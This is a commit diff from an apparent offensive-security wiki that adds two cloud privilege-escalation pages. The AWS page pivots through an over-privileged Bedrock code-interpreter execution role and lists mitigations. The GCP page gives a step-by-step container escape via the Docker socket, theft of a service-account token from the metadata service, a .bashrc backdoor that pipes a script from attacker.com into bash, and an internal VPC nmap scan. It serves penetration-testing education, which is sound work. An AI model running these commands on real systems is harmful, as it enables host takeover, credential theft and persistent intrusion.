mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud
This commit is contained in:
@@ -0,0 +1,122 @@
|
||||
# AWS - Bedrock PrivEsc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Amazon Bedrock AgentCore
|
||||
|
||||
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
|
||||
|
||||
AgentCore Code Interpreter is a managed execution environment. **Custom Code Interpreters** can be configured with an **`executionRoleArn`** that “provides permissions for the code interpreter to access AWS services”.
|
||||
|
||||
If a **lower-privileged IAM principal** can **start + invoke** a Code Interpreter session that is configured with a **more privileged execution role**, the caller can effectively **pivot into the execution role’s permissions** (lateral movement / privilege escalation depending on role scope).
|
||||
|
||||
> [!NOTE]
|
||||
> This is typically a **misconfiguration / excessive permissions** issue (granting wide permissions to the interpreter execution role and/or granting broad invoke access).
|
||||
> AWS explicitly warns to avoid privilege escalation by ensuring execution roles have **equal or fewer** privileges than identities allowed to invoke.
|
||||
|
||||
#### Preconditions (common misconfiguration)
|
||||
|
||||
- A **custom code interpreter** exists with an over-privileged **execution role** (ex: access to sensitive S3/Secrets/SSM or IAM-admin-like capabilities).
|
||||
- A user (developer/auditor/CI identity) has permissions to:
|
||||
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Optional) The user can also create interpreters: `bedrock-agentcore:CreateCodeInterpreter` (lets them create a new interpreter configured with an execution role, depending on org guardrails).
|
||||
|
||||
#### Recon (identify custom interpreters and execution role usage)
|
||||
|
||||
List interpreters (control-plane) and inspect their configuration:
|
||||
|
||||
```bash
|
||||
aws bedrock-agentcore-control list-code-interpreters
|
||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
||||
````
|
||||
|
||||
> The create-code-interpreter command supports `--execution-role-arn` which defines what AWS permissions the interpreter will have.
|
||||
|
||||
#### Step 1 - Start a session (this returns a `sessionId`, not an interactive shell)
|
||||
|
||||
```bash
|
||||
SESSION_ID=$(
|
||||
aws bedrock-agentcore start-code-interpreter-session \
|
||||
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
|
||||
--name "arte-oussama" \
|
||||
--query sessionId \
|
||||
--output text
|
||||
)
|
||||
|
||||
echo "SessionId: $SESSION_ID"
|
||||
```
|
||||
|
||||
#### Step 2 - Invoke code execution (Boto3 or signed HTTPS)
|
||||
|
||||
There is **no interactive python shell** from `start-code-interpreter-session`. Execution happens via **InvokeCodeInterpreter**.
|
||||
|
||||
**Option A - Boto3 example (execute Python + verify identity):**
|
||||
|
||||
```python
|
||||
import boto3
|
||||
|
||||
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
|
||||
|
||||
# Execute python inside the Code Interpreter session
|
||||
resp = client.invoke_code_interpreter(
|
||||
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
|
||||
sessionId="<SESSION_ID>",
|
||||
name="executeCode",
|
||||
arguments={
|
||||
"language": "python",
|
||||
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
|
||||
}
|
||||
)
|
||||
|
||||
# Response is streamed; print events for visibility
|
||||
for event in resp.get("stream", []):
|
||||
print(event)
|
||||
```
|
||||
|
||||
If the interpreter is configured with an execution role, the `sts:GetCallerIdentity()` output should reflect that role’s identity (not the low-priv caller), demonstrating the pivot.
|
||||
|
||||
**Option B - Signed HTTPS call (awscurl):**
|
||||
|
||||
```bash
|
||||
awscurl -X POST \
|
||||
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Accept: application/json" \
|
||||
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
|
||||
--service bedrock-agentcore \
|
||||
--region <Region> \
|
||||
-d '{
|
||||
"name": "executeCode",
|
||||
"arguments": {
|
||||
"language": "python",
|
||||
"code": "print(\"Hello from AgentCore\")"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
#### Impact
|
||||
|
||||
* **Lateral movement** into whatever AWS access the interpreter execution role has.
|
||||
* **Privilege escalation** if the interpreter execution role is more privileged than the caller.
|
||||
* Harder detection if CloudTrail data events for interpreter invocations are not enabled (invocations may not be logged by default, depending on configuration).
|
||||
|
||||
#### Mitigations / Hardening
|
||||
|
||||
* **Least privilege** on the interpreter `executionRoleArn` (treat it like Lambda execution roles / CI roles).
|
||||
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) and who can start sessions.
|
||||
* Use **SCPs** to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary).
|
||||
* Enable appropriate **CloudTrail data events** for AgentCore where applicable; alert on unexpected invocations and session creation.
|
||||
|
||||
## References
|
||||
|
||||
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
|
||||
- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
|
||||
- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
|
||||
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
|
||||
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
|
||||
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
# GCP - Cloud Workstations Privesc
|
||||
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
|
||||
The primary privilege escalation path in Cloud Workstations stems from the requirement to support **Docker-in-Docker (DinD)** workflows for developers. When the workstation configuration mounts the Docker socket or allows privileged containers (a common configuration), an attacker inside the workstation container can escape to the underlying Compute Engine VM and steal its service account token.
|
||||
|
||||
**Prerequisites:**
|
||||
- Access to a Cloud Workstation terminal (via SSH, compromised session, or stolen credentials)
|
||||
- The workstation configuration must mount `/var/run/docker.sock` or enable privileged containers
|
||||
|
||||
**Architecture context:** The workstation is a container (Layer 3) running on a Docker/Containerd runtime (Layer 2) on a GCE VM (Layer 1). The Docker socket gives direct access to the host's container runtime.
|
||||
|
||||
> [!NOTE]
|
||||
> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automates the full container escape and drops you into a root shell on the host VM.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step 1: Check for Docker socket</summary>
|
||||
|
||||
```bash
|
||||
# Verify the Docker socket is available
|
||||
ls -l /var/run/docker.sock
|
||||
# Expected output: srw-rw---- 1 root docker 0 ...
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step 2: Escape to the host VM filesystem</summary>
|
||||
|
||||
We launch a privileged container, mounting the host's root directory to `/mnt/host`. We also share the host's network and PID namespace to maximize visibility.
|
||||
|
||||
```bash
|
||||
# Spawn a privileged container mounting the host's root filesystem
|
||||
docker run -it --rm --privileged --net=host --pid=host \
|
||||
-v /:/mnt/host \
|
||||
alpine sh
|
||||
|
||||
# Inside the new container, chroot into the host
|
||||
chroot /mnt/host /bin/bash
|
||||
```
|
||||
|
||||
You now have a **root shell on the underlying Compute Engine VM** (Layer 1).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step 3: Steal the VM service account token from IMDS</summary>
|
||||
|
||||
```bash
|
||||
# From the host VM, query the Instance Metadata Service
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
|
||||
|
||||
# Check which service account is attached
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
|
||||
|
||||
# Check scopes (CRITICAL STEP)
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> **Check the Scopes!**
|
||||
> Even if the attached Service Account is **Editor**, the VM might be restricted by access scopes.
|
||||
> If you see `https://www.googleapis.com/auth/cloud-platform`, you have full access.
|
||||
> If you only see `logging.write` and `monitoring.write`, you are limited to the **Network Pivot** and **Persistence** vectors below.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step 4: Achieve Persistence (Backdoor the User)</summary>
|
||||
|
||||
Cloud Workstations mount a persistent disk to `/home/user`. Because the container user (usually `user`, UID 1000) matches the host user (UID 1000), you can write to the host's home directory. This allows you to backdoor the environment even if the workstation container is rebuilt.
|
||||
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
|
||||
# Drop a backdoor that executes next time the developer logs in
|
||||
# Note: Do this from the container escape context
|
||||
echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
|
||||
|
||||
Since you share the host network namespace (`--net=host`), you are now a trusted node on the VPC. You can scan for internal services that allow access based on IP whitelisting.
|
||||
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
|
||||
# Scan the internal VPC subnet
|
||||
nmap -sS -p 80,443,22 10.0.0.0/8
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user